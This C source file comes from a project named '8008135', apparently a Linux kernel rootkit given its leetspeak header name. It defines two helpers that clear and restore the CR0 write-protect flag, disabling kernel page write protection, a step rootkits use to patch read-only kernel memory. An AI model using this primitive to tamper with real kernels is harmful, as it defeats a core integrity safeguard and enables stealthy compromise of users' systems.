49 lines
1.8 KiB
C
49 lines
1.8 KiB
C
/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */
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/*
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* main.c
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* Copyright (C) 2019
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*
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* 8008135 is free software: you can redistribute it and/or modify it
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* under the terms of the GNU General Public License as published by the
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* Free Software Foundation, either version 3 of the License, or
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* (at your option) any later version.
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*
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* 8008135 is distributed in the hope that it will be useful, but
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* WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
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* See the GNU General Public License for more details.
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*
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* You should have received a copy of the GNU General Public License along
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* with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/*******************************************************************************/
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/**** includes *****************************************************************
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*******************************************************************************/
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#include "p463unpr073c7.h"
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/*******************************************************************************/
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/*** FUNCTION ****************************************************************
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* NAME: wprotectionoff
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* DESCRIPTION: turn page write protection off
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* PARAMETERS: -
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* RETURNS:
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*******************************************************************************/
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void wprotectionoff(void){
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write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
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}
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/*** FUNCTION ****************************************************************
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* NAME: wprotectionon
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* DESCRIPTION: turn page write protection on
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* PARAMETERS: -
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* RETURNS:
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*******************************************************************************/
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void wprotectionon(void){
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write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
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}
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